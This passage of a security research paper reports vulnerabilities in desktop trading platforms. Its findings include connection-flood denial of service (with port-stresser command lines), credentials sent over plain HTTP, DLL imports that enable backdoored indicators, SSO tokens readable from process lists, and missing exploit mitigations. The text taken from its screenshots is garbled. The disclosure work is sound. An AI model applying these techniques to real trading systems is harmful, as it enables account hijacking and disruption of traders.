33 37 41 45 49 53 57 61	<pre>static final String TG static final List(<u>Domain</u> static final <u>DomainType</u> static final <u>DomainType</u></pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": TTIDKORSWIM = new <u>DomainType</u> ("th INVESTOOLS = new <u>DomainType</u> ("Inv INVESTOOLS = new <u>DomainType</u> ("Inv ITD_MKENTRADE = new <u>DomainType</u> ("Inv ITD_THINKORSWIM = new <u>DomainType</u> ("Sing SINGAPORE = new <u>DomainType</u> ("Asia", ADMIN = new <u>DomainType</u> ("Live TOS DEMO_ADMIN = new <u>DomainType</u> ("Demo	<pre>1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo "TD Ameritrade", "(tda.thinkorswim.com:443) e("TD Direct Investing", <u>THINKORSWIM.connec</u> gapore", <u>THINKORSWIM.connectionDef</u>, "sg", " <u>THINKORSWIM.connectionDef</u>, "hkasia", <u>TD AM</u> S admin", "tosadmin.tos.lo:7002", "", "tos" mo TOS admin", "tosadmin.dr.tos.lo:7002", "</pre>	am.thinkorswim.com:443)(de no. .thinkorswim.com:443; 'paperM (demo.thinkorswim.com:443)', tionDef, "tdw", "tdw", "1-877 sg", "800-672-2098"); ERITRADE.sycLogo, "+852 23'4 , "800-672-2098"); ", "tos", "800-672-2098");
33 37 41 45 49 53 57 61 65	<pre>static final String TG static final List<domai static final DomainType static final DomainType</domai </pre>	DW_DEFAULT_TECH_SUPPORT_PHONE = ": TTPE: VALUES - new ArroyList(), THINKORSWIM = new <u>DomainType("tri</u> INVESTOOLS = new <u>DomainType("inv</u> TD_AMERITRADE = new <u>DomainType("inv</u> TOW_THINKORSWIM = new <u>DomainType("sing</u> SINGAPORE = new <u>DomainType("sing</u> HKASIA = new <u>DomainType("Live TOS</u> ADMIN = new <u>DomainType("Live TOS</u> DEMO_ADMIN = new <u>DomainType("TD</u>	<pre>1-877-348-6722"; hinkorswim", "(team.thinkorswim.com:7002,te vestools", "(demo.thinkorswim.com:7002,demo "TD Ameritrade", "(tda.thinkorswim.com:443) g("TD Direct Investing", <u>THINKORSWIM.connect</u> gapore", <u>THINKORSWIM.connectionDef</u>, "sg", " <u>THINKORSWIM.connectionDef</u>, "hkasia", <u>TD AM</u> S admin", "tosadmin.tos.lo:7002", "", "tos" mo TOS admin", "tosadmin.dr.tos.lo:7002", "s Ameritrade Admin", <u>ADMIN.connectionDef</u>, "s</pre>	am.thinkorswim.com:443)(de no. thinkorswim.com:443; 'paptrM (demo.thinkorswim.com:443)', 'tionDef, "tdw", "tdw", "1-877 sg", "800-672-2098"); <u>ERITRADE.sveLogo</u> , "+852 23'4 , "800-672-2098"); ", "tos", "800-672-2098"); wimadmin", "tos", "800-672-20

Related to reverse engineering, in some cases symbols were found in final releases. Symbols help in the understanding of the internal functions and dramatically ease the reverse engineering process. For example, symbols seen in **eSignal**:

₽ ×	📔 IDA View-A 🛛 🖸 Hex View-1 🗙 🗚 Structures 🗙 🚼 Enums 🔀 🎦 Import	s									
•	Name Address										
nect	Trade::DefaultConnectionsPreferences::trUtf8(char const *, char const *, int) 00000018009E2B0										
nect	Trade::DefaultConnectionsPreferencesBuffer::trUtf8(char const *, char const *, int) 00000018009F440										
nect	Trade::DefaultConnectionsPreferencesProxy::trUtf8(char const *, char const *, int) 000000018009FDF0										
nect	Trade::EngineConnectConnectionOperation::trUtf8(char const *, char const *, int) 0000001800738A0										
nect	Trade::EngineDisconnectConnectionOperation::trUtf8(char const *,char const *,int) 0000001800738E0										
nect	Trade::LogExportOperation::trUtf8(char const *,char const *,int) 00000018012BDD0										
nect	Trade::MultilegSymbolDomainsProvider::trUtf8(char const *,char const *,int) 0000001800A9FC0										
necti	Trade::PositionProvider::trUtf8(char const *,char const *,int) 0000001800B34A0										
nect	Trade::ProxyStorageBase::trUtf8(char const *,char const *,int) 000000180274D70										
necti	Trade::LogExportOperation::trackExported(int) 00000018013F900										
nect	Trade::DefaultConnectionsPreferences::tryResolvePendingAccount(Trade::IBrokerConnection *) 00000018009E2F0										
nect	Trade::Field::type(void) 000000180112230										
nect	Trade::PositionProvider::updateState(void) 00000018022F250										
::Def	Trade::AbstractPropertyPageController::userInputs(Trade::FieldSet const &) 0000001800ACC80										
::`vbi	Trade::FieldProperties::visible(bool) 000000180112FC0										
::ava	Trade::FieldProperties::visible(bool) 0000001801131B0										
::def 🝸	Trade::AbstractTopic::visibleFields(void) 0000001802BB350										
•	Trade::LogExportOperation::writeToFile(Trade::ILogDatabase::SelectResult const &) 00000018013F9D0										
	Image: Difference of the second sec										
	Line 820 of 835										

In other cases, such as NinjaTrader, it was possible to see insecure calls such as:

try { x x i {	<pre>tring str = mlDocument : mlDocument : mlNode xmlN f (xmlNodes Connecti foreach {      XmlE      stri</pre>	<pre>string.Conca {     xmlDocument = ne Load(str); odes = xmlDocume     != null) on.userInfoXml (XmlNode childNo lement xmlElemen ng lower = xmlEl</pre>	http://www.ddi w XmlDocumen: nt.SelectSingl = xmlNodes.Out de in xmlNodes t = (XmlElemer ement.Name.To)	<pre>Eplus.com/get (); leNode("//use cerXml; s.ChildNodes) at)childNode; Lower();</pre>	usersettings.php ersettings") ?? x	<sup>2</sup> username=", mlDocument.Se	Connectionu	isername, "δpa	assword=", Com
	vo <u>E</u> ditar <u>V</u> er vigital Data Feed → C <sup>a</sup> ⓐ Oddf	Historial Marcadores (ddfplus) - R∈ × + () www.dd	Herramien <u>t</u> as A fplus.com/pricin g isit our new B2B V	yuda _details.shtml ebsite!	80% ··· C Need help choo the right Data Solul Call us direct at (866) 333-736	2 ☆ Q Bus	car		
	<u>Home</u>	Service/Solutions	Exchanges	Pricing CONTACT US	Client Logi ABOUT DDF IN THE NET	st			
Cu Get Inde Snap	rrent Price the current price spendent Software pshot Query/Resp additional questio	List ces for the ddf Broadcast Vendor pricing, End-of- tonse data including XML ns, please <u>contact us</u> or	Feed, <u>Raw Exchange</u> Jay data, as well as p or historical time se call ddf at (866) 333	Data Feed, ricing for ries. -7587.	PRICING ddf Broadcast Feed Raw Exchange Data				

# No Cybersecurity Guidance on Online Trading Threats

Some brokerages offer an education center to their customers, including a section for cybersecurity, where the users can learn about the Internet threats that online trading could face and how to protect against them. However, most brokers' education center offer focus only on trading.

Following two brokerage houses (**TD Ameritrade** and **Firstrade**) offering guidance about recommended security products (i.e. antivirus software), online safety tips as well as privacy statements. Also, they include points of contacts to report any phishing email or privacy concerns, which can be very helpful:

#### Better protect yourself by understanding the threat **Online Threats**

Knowing about possible online risks will help you better understand and recognize potential online threats to the security of your personal information. Your awareness, combined with our vigilance, can help to decrease the risk to your accounts and information. Asset Protection Guarantee Avoid becoming a victim-use security products and tools What to do if you suspect you're a victim Security Products **Identity Theft** Our Security Procedures Identity theft-using a person's personal or financial data to commit fraud-is one of the most rapidly growing global crimes. The targets of this crime are your personal information, your financial information, and access to your online accounts. About Security Tools The personal information often targeted includes: Site & Browser Settings · Name, address, and date of birth Social Security number Driver's license number Minimum Requirements Passport **Online Safety Tips**  Signature The financial information often sought is: **Online Threats**  UserIDs and passwords > Security Issue - Account numbers and ABA numbers > Spotting Phishing · Credit card numbers FIRSTRADE Symbol or Company | Detailed Quote - 60 63868544-Individual J SP. Shortcuts -LOG OUT Feedback -Home My Accounts Trading **Research & Tools Retirement & Planning** Education **Customer Service** Contact Us Fund Your Account FAQs Form Center Pricing Promotions Siteman Welcome to the

**Online Security Center** How Firstrade protects your data How to Deal With Security Threats to Your Account How to protect your personal information Although scam artists try very hard to make fraudulent emails resemble official communication, there are often How to deal with security threats clues that will allow you to detect the scam. Here are some common characteristics of "phishing" emails, and to your account how to determine if the email is authentic or a spoof. Start by spotting the fraudulent communication.

If you suspect any fraudulent activity, please contact us immediately:

Telephone: 1-800-869-8800 Email: service@firstrade.com

- The email is completely unsolicited, from an address that looks legitimate (such as support@firstrade.com or feedback@firstrade.com).
- · The email includes the logo graphics to convince reader of its authenticity, but has obvious typos and poor grammar.
- · Content of the email lures the user to reply in order to confirm or verify personal information. This is usually

ſ	Get Quote	60	Please enter a stock, option, or mutual fund symbol to the left and click [GO]	OPTION CHAIN	63868544 🔻	Buying Power 🔻	GO	*

# **Desktop-specific Vulnerabilities**

Desktop platforms are the most complete solutions offered since they implement most sophisticated tools for trading, charting, market research, and integration with other tools. This is the reason why the attack surface is larger for these platforms.

The following are some common vulnerabilities found in these applications.

# **Denial of Service**

Many desktop platforms integrate with other trading software through common TCP/IP sockets. Nevertheless, some common weaknesses are present in the connections handling of such services.

A common error is not implementing a limit of the number of concurrent connections. If there is no limit of concurrent connections on a TCP daemon, applications are susceptible to denial-of-service (DoS) or other type of attacks depending on the nature of the applications.

For example, **TD Ameritrade's Thinkorswim** TCP-Orders Server listens on the TCP port 2000 in the localhost interface, and there is no limit for connections nor a waiting time between orders. This leads to the following problems:

- Memory leakage since, apparently, the resources assigned to every connection are not freed upon termination.
- Continuous order pop-ups (one pop-up per order received through the TCP server) render the application useless.
- A NULL pointer dereference is triggered and an error report (.zip file) is created.

Regardless, it listens on the local interface only. There are different ways to reach this port, such as XMLHttpRequest() in JavaScript through a web browser.

Memory leakage could be easily triggered by creating as many connections as possible, as shown:

С 	C:\Users\nitr0us\Downloads>port_stresser.exe 127.0.0.1 12001 10000 - <del>x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x</del>															
H	÷	Ge	ene	ri	ίc	Po	ort	; \$	Stı	es.	se	r	•	Ē		
÷	<b>(</b> )	<del>(</del> )	<del>(</del> )	()	<del>(</del>	<del>ن</del>	<b>(</b> )	<del>(</del> )	ť-							
Ŀ																Critical Low Memory
	-	-	-	-	-	-	-	-	-	-	-	-	-	-	-	
	-	-	-	-	-	-	-	-	-	-	-			-	-	
	-	-		-		-	-	-	-	-	-			-	-	thinkorswim is out of memory and we recommend to
		2		2					2							increase memory limit from 1536 Mb to 1702 Mb
	-	-		-		-	-	-		-				-		increase memory inflic from 1550 wib to 1752 wib.
	-	-	-	-	-	-	-	-	-	-	-	-	-	-	-	
																Increase limit & restart Cancel
-																
-																
-																
•																
•																
:							co	Эпг	nec	:t	5	-	Ċa	.nr	not	connect. Error code: 10061

	NYSE opens in		ſ	V thinkorswim desktop application	×	
				thinkorswim desktop application no responde		
	16 19 10	O-	0	Windows puede comprobar una solución en línea. Si cierra el programa, podría perder información.		
Г	HOURS MINS SEC	3	Workin	<ul> <li>Compruebe si existe una solución y cierre el programa</li> </ul>		
	Critical Low Memory	/ (No responde)		Cerrar el programa		
	thinkorswim is out of increase memory limi		mend to DP Mb.	Esperar a que el programa responda		
	Increas		Cancel C O	Ocultar detalles del problema		
	More info			Descripción: Este programa dejó de interactuar con Windows por un problema.	*	
			PSI	Firma con problemas: Nombre del evento de problema: AppHangB1 Nombre de aplicación: thinkorswim.exe Versión de la aplicación: 0.0.0.0 Marca de tiempo de la aplicación: 5577fa89		
			AMZN	Firma de bloqueo: Qa2d	•	

For each connection, the memory is not released and increments until the application runs out of memory:



The C code used to create numerous connections (Generic Port Stressor) and code demonstrating an order pop-up attack (Thinkorswim Order Pop-up Attack) on this platform is included in Appendix A.

**TD Ameritrade** fixed this DoS vulnerability in **Thinkorswim** very quickly after we sent the report.

Finally, there could be a privacy concern since the screenshot that is sent to the developers along with the error report (.zip file) might contain sensitive trading information (i.e. net worth, balances, positions, etc.):

🗈 📚 error_report.zip - ZIP archive, unpacked size 5,041,579 bytes				
Name 🏠	Size	Packed	Туре	Mo
🐌			Folder	
📋 client.log	176,803	14,620	Text Document	11/
🖬 client.log.1	1,048,665	73,950	File 1	11/
🗟 client.log.2	1,048,638	65,295	File 2	10/
A client.log.3 Main screen capture	1,048,642	65,576	File 3	10/
Custom.properties	1,770	743	File properties	11/
performance.log	181,567	18,863	Text Document	11/
📭 screen0.png	252,202	246.062	DNCI	11
💽 screen1.png	Performance problem was detected.			î /
suit.log	The program appears to be performin	g slowly. An err	or report	/
suit.properties	was created with a detailed descriptio	n of this proble	m. View report	- V
suit.usergui.log				/
System.properties				/
thinkorswim.vmoptions	🗹 Send report to th	e development	team Continue	- /
threaddump.txt				/
threaddumps.txt	448,439	46,440	Text Document	-11/
workspace.alejandrohdez_180311.xml	59,736	8,428	XML Document	11/
workspace.mf9k1ccsmcz7jun.tos.prod.err.xml	59,736	8,428	XML Document	11/
workspace.mf9k1ccsmcz7jun.tos.prod.xml	59,279	8,306	XML Document	10/
workspace.Qwerty.xml	62,707	8,669	XML Document	07/
🐲 zacinst.ini	945	622	Configuration Sett	11/



A similar DoS vulnerability due to memory exhaustion was found in **eSignal's Data Manager**. eSignal is a known **signal provider** and integrates with a wide variety of trading platforms. It acts as a source of market data; therefore, availability is the most important asset.

According to my understanding, Data Manager is used as a bridge to obtain real-time financial information, and other trading tools are configured to connect to this service through a TCP port remotely. It listens on port 2189 for all the network interfaces and there is no limit on the number of connections. There are different ways to reach this port, either remotely (i.e. from another computer in the network) or locally; for example, through XMLHttpRequest() in JavaScript rendered in the trader's web browser.

The same code in **Appendix A (Generic Port Stressor)** was used to trigger a DoS condition:

Simbolo del sistema - port_stresser.exe 192.168.241.1 2189 1000								
C:\Users\nitrBus\Downloads>port_stresser.exe 192.: 	168.241.1 2189 1000 3061							
Successful connections made: 5								
Press any key to close all the connections and fin	nish							
eSignal Data Manager (No responde)								
Elle Data Options Help								
I-Net:Primary Socket not connected (3826 User								
eSignal Data Manager Reconnecting to I-Net								
NewsServer: Shutdown								
Reception Password Available Memory NODATA NONE 4294967295 Ld->38%	Disk Space 2708668416							
· •		NOPSW NODATA						

It's recommended to implement a configuration item to allow the user to control the behavior of the TCP order server, such as controlling the maximum number of orders sent per minute as well as the number of seconds to wait between orders to avoid bottlenecks.

The following capture from **Interactive Brokers** shows when this countermeasure is implemented properly. No more than 51 users can be connected simultaneously:



# Trading Programming Languages with DLL Import Capabilities

**This is not a bug, it's a feature.** Some trading platforms allow their customers to create their own automated trading robots (a.k.a. expert advisors), indicators, and other plugins. This is achieved through their own programming languages, which in turn are based on other languages, such as C++, C#, or Pascal.

The following are a few of the trading platforms with their own trading language:

- MetaTrader: MetaQuotes Language (Based on C++ Supports DLL imports)
- NinjaTrader: NinjaScript (Based on C# Supports DLL imports)
- TradeStation: EasyLanguage (Based on Pascal Supports DLL imports)
- AvaTraceAct: ActFX (Based on Pascal Does not support OS commands nor DLL imports)
- (FxPro/IC Markets) cTrader: Based on C# (OS command and DLL support is unknown)

Nevertheless, some platforms such as **MetaTrader** warn their customers about the dangers related to DLL imports and advise them to only execute plugins from trusted sources. However, there are Internet tutorials claiming, "to make you rich overnight" with certain trading robots they provide. These tutorials also give detailed instructions on how to install them in MetaTrader, including enabling the checkbox to allow DLL imports. Innocent non-tech savvy traders are likely to enable such controls, since not everyone knows what a DLL file is or what is being imported from it. Dangerous.

Code demonstrating a malicious indicator that, when loaded into any chart, downloads and executes a backdoor for remote access is included in **Appendix A (MetaTrader 5 Backdoor Disguised as an Ichimoku Indicator)**:



Another basic example is **NinjaTrader**, which simply allows OS commands through C#'s System.Diagnostics.Process.Start(). In the following screenshot, calc.exe executed from the chart initialization routine:



# Authentication Token as a URL Parameter to the Browser

Some trading applications allow customers to see more details about their accounts. To do so, when clicking on certain parts of the application, the user is redirected and logged in automatically to the brokerage web portal. The risk related in this feature is that the URL passed to the web browser contains authentication tokens that could be grabbed from the OS process list, and therefore, the web session could be hijacked.

This is a common feature seen in some applications, and hypothetical, but feasible attack scenarios could be performed:

- An attacker controlling the OS could leave an endless loop sensing for the list of
  processes in the OS. As soon as the application launches such a URL, the attacker
  could grab it and automatically send a request to gain the session. If the request
  succeeds, the attacker could grab the session ID and set it into a new web browser
  to operate as the owner of the trading account.
- A trading-oriented malware could run stealthily on the trader workstation, sensing the process list, grabbing such a URL, gaining control of the session, and sending the hijacked session ID back to the attacker. The attacker then sets this information in the browser and operates as the owner of the trading account.

The session tokens passed through the URL are Single Sign-on (SSO) and are usable once, hence, it's a race to see who wins the session token passed in the URL, but still, both attacks are feasible. Imagine that the web browser is completely closed, whenever the

trading application launches the URL, it'd be visible from the process list and the time to hijack this would be faster than waiting for the browser to load in memory and to open such URL in a new tab. **One second is enough to hijack the session.** 

Applications with this behavior include IQ Option, Charles Schwab, and Interactive Brokers:



StreetSmart	edg⊖® <u>96647547</u>	Live SDII 24461.58 SCOMPX 7153.19 SSPX 2670.71 -203.31 (-0.82%) -84.87 (-1.17%) -22.42 (-0.83%)	A Market Open 13:23:0	» _ ⊐ ×
Total Account Value T \$0	Foday's Change Available to Witho \$0 \$0	faw .		
File Settings Sch	wab.com Help	Current build: 1.54.89.0 📈	🖂 ≓ 🔍 100%	Hide Balances 🔹
Trade	ETF Center	ch New Layout foo +	Launch Tools 🔻	Find Active Tools 🗧
CIBR	Briefing.com Calendar	sdq C NASOAQ Hard to Borrow Link 🔶 🗵 – 🗆 X CIBR 🔹 🚾 26.26 🏹 -0.205 (0.77%) Fr Tr Nsdq CybeHard to Borrow Link 🔶	a_ 🗆 🗙 📃 👘	_ 🗆 ×
This account is	Market Loge Ratings	itions can be reduced or closed. CIBR : 1 Year : Daily + E Tab Sync is On C	age Center	Expiration
© Open: 26.50	Learn about Global	12,007 101 Hide: Orders Positions Dividends Earnings Splits		_ 🗆 × ssage
High: 20.50	Pre-Defined Option Screene	r CIBR	26	
Action Quantity	Customizable Option Screen	ter it Price Timing	00 ing:Order Verif	ication Enable
Short	Option Strategy Finder	zview Order Cancel Last 24.	100 logged on to a	iccount 96647
Save For Later	Futures Trading		to quote server	lost.
Market Depth	Accounts Summary	Iculator Top Movers	to quote server ings: Inactivity	Timeout set to
NBBO 26.2 arca 26.1	Account History	600 26.255 ADF 150 R 44 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4	ing:Order Verif	ication Enable
CIBR	Account Performance	r Tr Nsdq Cybers Hard w 2010 willink 🖉 _ 🗆 X 🗰 👘 👘 👘 👘	logged on to a	ccount ****7
mspaint.exe	40,664 K Paint	le Chome C. Vrogram hies (xo) (adoge tartigine vypication tartione exeype≠endeter -Heid tiarnande=1340, 1400/4653537.0667.252, 113515552013651 : "C.Windows laystem 32/inspant.exe"	12103,131072 -service-piper	DKen=35AD To
SS SEdge.exe	310,772 K Stree	4Smart Edge "C:\Program Files (x86)\Schwab\StreetSmart Edge\SSEdge.exe"		
Firefox.exe	178,164 K Firefo 43,496 K Firefo	xx "C:\Program Files (x86)\Mozilla Firefox/trefox.exe" -osint -ut "https://client.schwab.com/Login/SignO	LnNjaHdhYi5jb20gIPSXP3Av Firefox\omni.ja'' -appomni ''(	BhUAGV6dE9F
opinion	169,872 K Firefo Trading Seminars and Event	x "C\Program Files (x86)/Mozilla Firefox/firefox.exe" -contentproc -channel="9592.3.1973032835\1214898761" -childD 1 +sForBrowser intPrefs 6:50 s // 10/2010 Formed 24.20		<u>51:0 57:128 58</u> _ 🗖 🗙
	$\leftarrow \Rightarrow c$	Charles Schwah & Co. Inc. [115] https://dient.schwah.com/Accounts/Summan/Su		
			platomic	
	charles SCHWAB	Accounts Trade Research Products Guidance Service 🖂 🗸 📞 🗸	₽ 0	
		Summary Datances Positions Portiono Penormance Filstory Statements Transiers & Payments		
	Show	All Schwab Accounts 🗸	Page last updated:	
	All Bro	kerage Accounts Go	to new Summary	
	Total Acco <b>\$0.00</b>	unts Value * Total Cash & Cash Investments Total Market Value Day Change ** \$0.00 \$0.00 \$0.00 (0%)		
	Brokera	age Accounts		

There are applications such as **Money.Net** that implement their own Web UI and allow the user to choose either to use the default web browser or use their own within the trading platform:

DOW-JONES INDUSTRIALS INDEX (I:DJI) 1 Year / 1 Day	NASDAQ COMPOSITE INDEX (I:COMP) 1 Year / 1 Day 4 9,100.00	Symbol Most ReChg %Chg MTD YTD
1:1 25,199.29 0.00 0.00% 4:47:02 PM jul 18 DOWJONES 30,000.00	1:1 7,854.44 -0.67 -0.01% 5:15:59 PM jul 18 NASDAQ 8,400.00	Nasdaq 100
Today: Open: 25,133.79 High: 25,215.32 Low: 25,101.12 Bio: 25,066.80 K 0 ASK: 25,202.66	Today: Open: 7,855.43 High: 7,853.77 Low: 7,822.83	ATVI 81.27 0.33 0.41 % 5.18 % 28.36
25, 199.29 24,000.00	7,000.00	ADBE 259.78 1.48 0.57 % 6.80 % 48.25
	+	AKAM 78.13 -0.49 -0.52 % 4.97 % 20.14
# ago-17 oct-17 dic-17 feb-18 abr-18 jun-18	# ago-17 oct-17 dic-17 feb-18 abr-18 jun-18	ALXN 135.65 0.68 0.50 8 8.58 % 13.49
log 2017 2018	Money.Net	_ □ ■ C ¢ × 00 017 0018 00081514
Px MACD (12,26,9)	Go Back	Show in Browser 00 -1 01 -0.05 % 7.54 % 57.59
900.00 EMA 26 24,753.66 900.00		
MACD 106.78 Signal 9 16.4		103 -1 12 -0 58 % 4 05 % 10 87
	MONEY. NET	1.32 -1.05 -0.55 % 1.72 % 12.51
-600.00		29 0.98 2.07 % 5.69 %-5.56
ago-17 oct-17 dic-17 feb-18 abr-18 jun-18	EREE 14 DAY TRIAL MEMBER LOGIN	45 0.88 0.64 % 4.20 % 31.11
2017 2018		·.50 0.14 0.10 % 1.96 % 17.33
Radar _□ ◙ ♂ ♂ ✿ X		1.10 -0.61 -0.23 % 9.41 % 15.03
Event Find Started Start		1.72 -0.42 2.20 % -3.21 9-14.93
Process Industries is Distribution Services Electronic Technology		1.60 3.53 0.99 % 21.21 °12.54
Retail Trade	Money.Net Members' Area	1.69 <u>-1.25 1.20 %</u> 9.32 %15.14
Health Services Utilities	·	1.78 0.47 0.23 % -13.75 -18.73
Transportation		02 -0.06 -0.14 % 21.80 *32.30
	Please login in order to access the page you requested.	i.75 -0.07 -0.08 % 7.89 %-17.80
	Username	L68 -0.31 -0.51 % -0.80 9-9.97
Health Technology		0.60 -2.43 -0.80 % 1.94 %-10.83
		1.67 0.58 0.53 % 11.43 *6.82 <b>%</b>
	Password	
Communications		
	Login	04 -0.24 -0.70 × 2.59 % 15.90
Consumer Services	cogn	00 0.07 0.03 % 3.40 % 15.55
New York		with 4.56 7.08 % 7.38 % 25.43
6:22:23 PM		CTRP 43.91 -0.60 -1.35 % -6.52 9-0.45
	-3.96% TAP MTB 3.55%	XRAY 44.25 11.45 3.17 % 0.61 %-32.78
Manufacturing		

In the end, it's the well-known trade-off between usability and security.

## Lack of Anti-exploitation Mitigations

ASLR randomizes the virtual address space locations of dynamically loaded libraries. DEP disallows the execution of data in the data segment. Stack Canaries are used to identify if the stack has been corrupted. These security features make much more difficult for memory corruption bugs to be exploited and execute arbitrary code.

The majority of the desktop applications do not have these security features enabled in their final releases. In some cases, that these features are only enabled in some components, not the entire application. In other cases, components that handle network connections also lack these flags.

C:\Program Files\Interactive Data\eSignal\whatsnew.exe AND64 True False N/A C:\Program Files\Interactive Data\eSignal\eSignal.exe AND64 True False N/A FileName ARCH ASLR DEF C:\Program Files\Interactive Data\eSignal\eSignal.exe AND64 True False N/A FileName ARCH ASLR DEF C:\Program Files\Interactive Data\Options Analytix\Specs.dll 1366 False False False False C:\Program Files\(%6)\Common Files\Interactive Data\Mumsvcp60.dll 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data\Trading Plugins\Fransact\12.8.4785.62\NuTNDAEL.DLL 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data\Trading Plugins\Fr\2.0.4785.62\NuTNDAEL.DLL 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data\Trading Plugins\Fr\2.0.4785.62\NuTNDAEL.DLL 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data\Trading Plugins\Fr\2.0.4785.62\NuTNDAEL.DLL 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data\Trading Plugins\Fr\2.0.4785.62\NuTNDAEL.OLL 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data\Trading Plugins\Fr\2.0.4785.62\NuTNDAEL.OLL 1366 False False False C:\Program Files\(%6)\Common Files\Interactive Data
C:\Frogram Files\Interactive Data\eSignal\usersex.exe AMD64 True False N/A C:\Frogram Files\Interactive Data\eSignal.exe AMD64 True False N/A FileName ARCH ASLR DEP ARCH ASLR DEP C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions Analytix\Specs.dll I386 False False False C:\Frogram Files (x86)\Common Files\Interactive Data\Uptions\Upt
C:\Frogram Files\Interactive Data\Esignal Esignal.exe AWD64 True False MA  FileName ARCH ASIR DEP C:\Frogram Files (x86)\Common File>Interactive Data\Common False\Interactive Data\Common
FileName       ARCH       ASLR       DEP       SafeSEH         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcp60.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcp60.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcp60.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcp60.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcr.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcr.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\DM\msvcr.dll       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\EndleStatLLL       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\EndleStatLLL       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Ff\2.0.4785.825\EndleStatLL       I386       False False       False         C:\Frogram Files (x86)\Common Files\Interactive Data\Trading Plugins\Ff\2.0.4785.825\EndleSta
FileName       ARCH       ASIM       DEF       SafeSEH         C:\Program Files (x86)\Common Files\Interactive Data\Options Analytix\Specs.dll       1386       False False       False
FileName       ARCH ASLR DFP       SafeSEH         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp60.dll       I386 False False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp60.dll       I386 False False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp0.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp0.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\msvcp1.dll       I386 False False       False         C:\Program Files (x86)\Common Files\Interactive Data\DP\ms
<pre>C:\Program Files (x86)\Common Files\Interactive Data\Options Analytix\Specs.dll</pre>
<pre>C:\Program Files (x80)\Common Files\Interactive Data\UniverseCo.dll</pre>
<pre>C: (Frogram Files (x60) (Common Files/Interactive DataYrading Plugins/PT/2.0.4785.825/DEMOAFI.dl1 I IS6 Fales Fales Fales Fales C: \Frogram Files (x66) \Common Files/Interactive Data [Mivinzos.exe] I386 Fales Fales Fales Fales C: \Frogram Files (x66) \Common Files/Interactive Data\DMM/msycrt.dl1 I386 Fales Fales Fales Fales C: \Frogram Files (x66) \Common Files/Interactive Data\DMM/msycrt.dl1 I386 Fales Fales Fales Fales C: \Frogram Files (x66) \Common Files/Interactive Data\DMM/msycrt.dl1 I386 Fales Fales Fales Fales Fales Fales Fales (x66) \Common Files/Interactive Data\DMM/msycrt.dl1 I386 Fales Fales Fales Fales Fales Fales Fales Fales (x66) \Common Files/Interactive Data\DMM/msycrt.dl1 I386 Fales Fales Fales Fales Fales Fales Fales Fales Fales (x66) \Common Files/Interactive Data\Trading Plugins/Erasct/12.8.4785.825\ParSAPI.dl1 I386 Fales (x66) \Common Files/Interactive Data\DMM/msylPT/2.0.4785.825\ParSAPI.dl1 I386 Fales Fale</pre>
C:\Program Files (x86)\Common Files\Interactive Data[DM\proxyd11.dl]       1000 Files\Interactive Data\DM\proxyd11.dl]         C:\Program Files (x86)\Common Files\Interactive Data\DM\proxyd11.dl]       1366 False False         C:\Program Files (x86)\Common Files\Interactive Data\DM\proxyd11.dl]       1366 False False         C:\Program Files (x86)\Common Files\Interactive Data\DM\proxyd11.dl]       1366 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\sec.dl]       1386 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\IndEft.dl]       1366 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\IndEft.dl]       1386 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Transact\12.8.4785.825\IndEft.dl]       1386 False False         C:\Program Files (x86)\Common Files\Interactive Data\Trading Plugins\Eft\2.0.4785.825\IndEft.dl]       1386 False False         